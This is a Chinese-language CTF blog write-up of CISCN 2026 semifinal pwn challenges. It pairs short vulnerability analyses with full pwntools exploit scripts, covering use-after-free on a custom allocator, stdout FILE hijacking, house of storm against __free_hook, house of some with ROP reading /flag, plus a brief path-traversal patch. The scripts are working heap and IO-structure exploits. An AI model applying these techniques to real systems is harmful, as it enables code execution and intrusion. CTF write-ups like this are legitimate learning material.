ciscn-2026-半决赛

ciscn-2026-半决赛

InkeyP Lv3

CISCN 2026 半决赛 PWN

broken_manager

漏洞很明显,uaf

fix

fix有点抽象,把原本的清空size改成清空chunk即可

break

程序是自己实现的内存管理器

1
2
3
4
5
6
7
8
9
10
11
12
13
struct Arena {  // sizeof = 0x40 (64 bytes), 位于 BSS 0x5060
uint64_t magic; // +0x00: 0xCCEE7700DDBBCCAA
uint64_t base_mask; // +0x08: mmap_base & 0xFFFFFFFF00000000
// 保存mmap地址的高32位,低32位为0
uint32_t xor_key; // +0x10: 从/dev/random读取的4字节随机密钥
uint32_t remaining; // +0x14: 当前bump区域剩余字节数
uint32_t total; // +0x18: arena总大小 (0x4000)
uint32_t _pad; // +0x1C: 对齐填充
Arena* next; // +0x20: 下一个arena (双向链表)
Arena* prev; // +0x28: 上一个arena
void* mmap_base; // +0x30: 本arena的mmap映射基地址
uint32_t* freelist; // +0x38: 指向freelist数组(32个DWORD)
};

free_list存储指针是main_arena.base_mask ^ (ptr ^ main_arena.xor_key)

即free_list只存储指针低位,还是异或过的

同时,程序使用sigaction注册了SIGSEGV崩溃时输出地址并重启

所以攻击思路是,uaf直接泄露enc1(high_mask ^ (ptr ^ xor1_key)),写错误地址V崩溃泄露enc2(high_mask ^ (V ^ xor1_key))

可求得high_mask``xor1_key,再通过enc1求得ptr,这样就得到完整的heap地址了

此时程序重启,重新生成xor_key,记为xor2_key

uaf泄露enc3(high_mask ^ (ptr ^ xor2_key)),求得xor2_key

后面就是uaf打stdout(逃课check,直接puts触发)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'>> '


def add(idx, size, data):
sla(IAT, b'1')
sla(b'Index', str(idx))
sla(b'Size', str(size))
if data == b'ik':
return
sa(b'Content: ', data)


def dele(idx):
sla(IAT, b'2')
sla(b'Index: ', str(idx))


def edit(idx, data):
sla(IAT, b'4')
sla(b'Index', str(idx))
sa(b'Content: ', data)


def show(idx):
sla(IAT, b'3')
sla(b'Index: ', str(idx))


cmd = '''
brva 0x1B8D
brva 0x1CBE
brva 0x1D88
brva 0x1E6A
ida
set $h = $rebase(0x5060)
c
# handle SIGSEGV nostop noprint pass
'''

add(0, 0x100, b'a')
add(1, 0x100, b'b')
dele(1)
dele(0)
show(0)
enc1 = u64_ex(r(4))
leak_ex2(enc1)
dele(0)

add(2, 0x100, b'c')
add(3, 0x100, b'd')
dele(2)
edit(3, p64(0xDEADBEEF))
add(4, 0x100, b'e')
add(5, 0x100, b'ik')

ru(b'Invalid ptr access: ')
enc2 = int(rl(), 16)
leak_ex2(enc2)
high_mask = enc2 >> 32 << 32
leak_ex2(high_mask)
low_key = (enc2 ^ 0xDEADBEEF) & 0xFFFFFFFF
leak_ex2(low_key)
heap_base = ((enc1 ^ low_key) | high_mask) >> 8 << 8
leak_ex2(heap_base)

add(0, 0x100, b'a')
add(1, 0x100, b'b')
dele(1)
dele(0)
show(0)
enc3 = u64_ex(r(4))
leak_ex2(enc3)
low_key = ((heap_base + 0x40C4) ^ enc3) & 0xFFFFFFFF
set_current_libc_base_and_log(libc_base := heap_base + 0x1EF00)
leak_ex2(low_key)
dele(0)

add(2, 0x100, b'c')
add(3, 0x100, b'd')
dele(2)
edit(3, p64((libc.sym._IO_2_1_stdout_ & 0xFFFFFFFF) ^ low_key))
add(4, 0x100, p64(0x666))

_IO_wfile_jumps_maybe_mmap = libc.sym._IO_wfile_jumps + 0x150
_IO_str_jumps = libc.sym._IO_file_jumps + 0x540
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = libc.sym._IO_2_1_stdout_
payload = flat(
{
0x0: 0x8000, # disable lock
0x38: libc.symbols["_IO_2_1_stdout_"], # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0x70: 0, # _fileno
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0x100, # +0xe0可写即可
0xC0: p32(0xFFFFFFFF), # _mode < 0
0xD8: _IO_wfile_jumps_maybe_mmap - 0x18,
},
filler=b"\x00",
)
launch_gdb(cmd)
add(5, 0x100, payload)

# 拷贝栈上数据到可控地址,这里拷贝到_IO_2_1_stdout_的上方,方便下次写入顺便完成fp第三次控制
s(
flat(
{
0x8: libc.symbols["_IO_2_1_stdout_"], # 需要可写地址
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
0xC0: p32(0xFFFFFFFF),
0xD8: _IO_default_xsputn - 0x90, # vtable
0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1C8, # _IO_write_ptr
0x30: libc.symbols["_IO_2_1_stdout_"], # _IO_write_end
0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
},
filler=b"\x00",
)
)

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
r13 = CG.find_gadget("415DC3", find_type="opcode")
mov_rdx_r13_pop4 = CG.find_gadget("4C89EA5B415C415D5DC3", find_type="opcode")
rop_payload = flat([rdi, u64_ex(b'/flag'), rdi, libc.sym._IO_list_all + 0x8, rsi, 0, libc.sym.open])
rop_payload += flat([rdi, 5, rsi, libc.sym.environ, r13, 0x100, mov_rdx_r13_pop4, 0, 0, 0, 0, libc.sym.read])
rop_payload += flat([rdi, 1, rsi, libc.sym.environ, r13, 0x100, libc.sym.write])

# 最后这里就可以劫持执行流到0xdeadbeaf了 ret_addr = _IO_list_all
s(
flat(
{
0: rop_payload,
(0x1C8 - 0xC8): {
0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8, # _IO_buf_base
0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8, # _IO_buf_end
0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
0xC0: p32(0xFFFFFFFF),
0xD8: _IO_default_xsgetn - 0x90, # vtable
0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1C8, # _IO_read_ptr
0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1C8 - 0xC8), # _IO_read_end
0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
},
},
filler=b"\x00",
)
)

ia()

catchme

漏洞同意明显,uaf

fix

break

house of storm打free_hook ogg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './catchme')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
while True:
io = process(elf_path)
with open(f'/proc/{io.pid}/maps') as f:
elf_base = int(f.readline().split('-')[0], 16)
print(f'elf_base: {hex(elf_base)}')
if elf_base >> 40 == 0x56:
gift.io = io
break
io.close()
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'>>\n'


def add(size):
sla(IAT, b'1')
sla(b'choose your creature type', str(size))


def dele(idx):
sla(IAT, b'2')
sla(b'index', str(idx))


def edit(idx, data):
sla(IAT, b'4')
sla(b'index', str(idx))
sa(b'set tag:\n', data)


def show(idx):
sla(IAT, b'3')
sla(b'index', str(idx))


def clear(idx):
sla(IAT, b'6')
sla(b'index', str(idx))


cmd = '''
brva 0xC4A
brva 0xC86
brva 0xCC4
brva 0xE20
brva 0xF1C
brva 0x104A
brva 0x10EE
set $h = $rebase(0x202060)
# dir /mnt/f/Documents/CTF/glibc/glibc-2.27/malloc
# brva 0x945F1 libc-2.27-3ubuntu1.6.so.6
c
'''

for i in range(7):
add(3)
dele(0)
clear(0)

add(2)
add(3)
add(1)
add(3)
dele(2)
show(2)
ru(b'tag:')
libc_base = u64_ex(ru(b'\n', drop=1)) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)
dele(0)
# show(0)
# ru(b'tag:')
# heap_base = u64_ex(ru(b'\n', drop=1))
# log_heap_base_addr(heap_base)
clear(0)
add(2)
dele(0)

fake_addr = libc.sym.__free_hook - 0x18
edit(0, p64(fake_addr))
edit(2, p64(fake_addr + 0x8) + p64(0) + p64(fake_addr - 0x18 - 5))
clear(1)
launch_gdb(cmd)
add(3)
edit(1, p64(libc_base + 0x4F302) * 3)
dele(2)

ia()

easy_rw_revenge

漏洞也是uaf

md5是strcmp,爆破前三位即可

size是有符号比较,没有做malloc失败的处理逻辑

fix

应该是把比较改成无符号比较(比赛时未做出)

break

同样是打io,house of some泄露 environ打rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3
from pwncli import *
from SomeofHouse import *
import hashlib

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
addr = ''
ip, port = re.split(r'[\s:]+', addr)
gift.io = remote(ip, port)
else:
gift.io = process(elf_path, level='info')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

USERNAME_CACHE = "15772770"


def find_username():
global USERNAME_CACHE
if USERNAME_CACHE:
return USERNAME_CACHE
target = b'\x64\x40\x00'
log.info("Brute-forcing username (need MD5 prefix 644000) ...")
for i in range(0x10000000):
name = str(i).encode()
if hashlib.md5(name).digest()[:3] == target:
USERNAME_CACHE = name.decode()
log.success(f"Found username: '{USERNAME_CACHE}' (MD5: {hashlib.md5(name).hexdigest()})")
return USERNAME_CACHE
log.error("Username not found!")
sys.exit(1)


USERNAME = find_username()


def send_req(cmd, param1="", param2="", data=b""):
"""Each request needs a fresh TCP connection to the RTSP server."""
io = remote("127.0.0.1", 7777, level='debug')
payload = f"rtsp://{USERNAME}/".encode()
payload += b"{" + cmd.encode() + b":" + param1.encode() + b":" + param2.encode() + b":" + data + b"}"
io.send(payload)
try:
resp = io.recv(0x2000, timeout=300)
except:
resp = b""
io.close()
return resp


def add(idx, size, data=b"A"):
resp = send_req("add", str(size), str(idx), data)
if b"ADD_SUCCESS" in resp:
return True
log.warning(f"add({idx}, {size}): {resp}")
return False


def dele(idx):
resp = send_req("delete", str(idx))
if b"DEL_SUCCESS" in resp:
return True
log.warning(f"dele({idx}): {resp}")
return False


def edit(idx, data):
resp = send_req("edit", str(idx), "", data)
if b"EDIT_SUCCESS" in resp:
return True
log.warning(f"edit({idx}): {resp}")
return False


def show(idx):
return send_req("show", str(idx))


cmd = '''
brva 0x1922
brva 0x1BC6
brva 0x1D28
brva 0x1A98
brva 0x1915
set $h = $rebase(0x5040)
dir /mnt/f/Documents/CTF/glibc/glibc-2.35
b genops.c:701
c
dis 6
brva 0x2a3e5 ./libc-2.35-0ubuntu3.13.so.6
b read
c
'''

for i in range(8):
add(0, 0x18, b'')

data = show(0)
libc_base = u64_ex(data[0:8]) - 0x21AC00
set_current_libc_base_and_log(libc_base)
heap_base = u64_ex(data[8:16]) - 0x7D0
log_heap_base_addr(heap_base)

add(0, 0x5E8, b'a')
add(1, 0x5F8, b'a')
add(2, 0x5D8, b'a')
add(3, 0x5F8, b'a')

add(0, -1, b'a')
add(4, 0x5F8, b'a')
add(2, -1, b'a')

edit(0, p64(libc.sym._IO_list_all - 0x20) * 4)
add(5, 0x5F8, b'a')

fake_IO_FILE = heap_base + 0x1FA0
hos = HouseOfSome(libc=libc, controlled_addr=fake_IO_FILE)
payload = hos.hoi_read_file_template(fake_IO_FILE + 0x100, 0x400, fake_IO_FILE + 0x100, 4)
edit(2, payload[0x10:])
launch_gdb(cmd)
io = remote("127.0.0.1", 7777, level='debug')
payload0 = f"rtsp://{USERNAME}/".encode()
payload0 += b"{" + 'delete'.encode() + b":" + str(0x114).encode() + b":" + ''.encode() + b":" + data + b"}"
io.send(payload0)
pause()
payload2 = hos.fake_file_write_template(libc.sym._environ, libc.sym._environ + 0x10, fake_IO_FILE + 0x200, 4).ljust(0x100)
payload2 += hos.hoi_read_file_template(fake_IO_FILE + 0x300, 0x400, fake_IO_FILE + 0x300, 4)
io.send(payload2)
stack = u64_ex(io.recvuntil(b'\x7f', timeout=999)[-6:]) - 0x22F0
leak_ex2(stack)
payload3 = hos.hoi_read_file_template(stack, 0x400, 0, 4)
io.send(payload3)
rop = ROP(libc)
rop.base = stack
rop.call('open', [stack + 0x110, 0])
rop.call('read', [5, stack - 0x400, 0x100])
rop.call('write', [4, stack - 0x400, 0x100])
log_ex(rop.dump())
pause()
io.send(b'/flag'.ljust(0x10, b'\x00') + rop.chain().ljust(0x100, b'\x00') + b'/flag\x00')
io.interactive()

ia()

minidb

复现中……………………

UpNodeTrap

听说是cve

fix

check以下..就过了,checker很神奇吧……

1
2
3
if (filename.includes('..')) {
return sendJSON(res, 500, { error: 'Unable to persist file to storage.' });
}

ISW 见 403攻防人 公众号

灌注403攻防人喵,灌注403攻防人谢谢喵

  • 标题: ciscn-2026-半决赛
  • 作者: InkeyP
  • 创建于 : 2026-03-24 21:12:59
  • 更新于 : 2026-03-24 21:36:14
  • 链接: https://blog.inkey.top/202603/24/ciscn-2026-半决赛/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论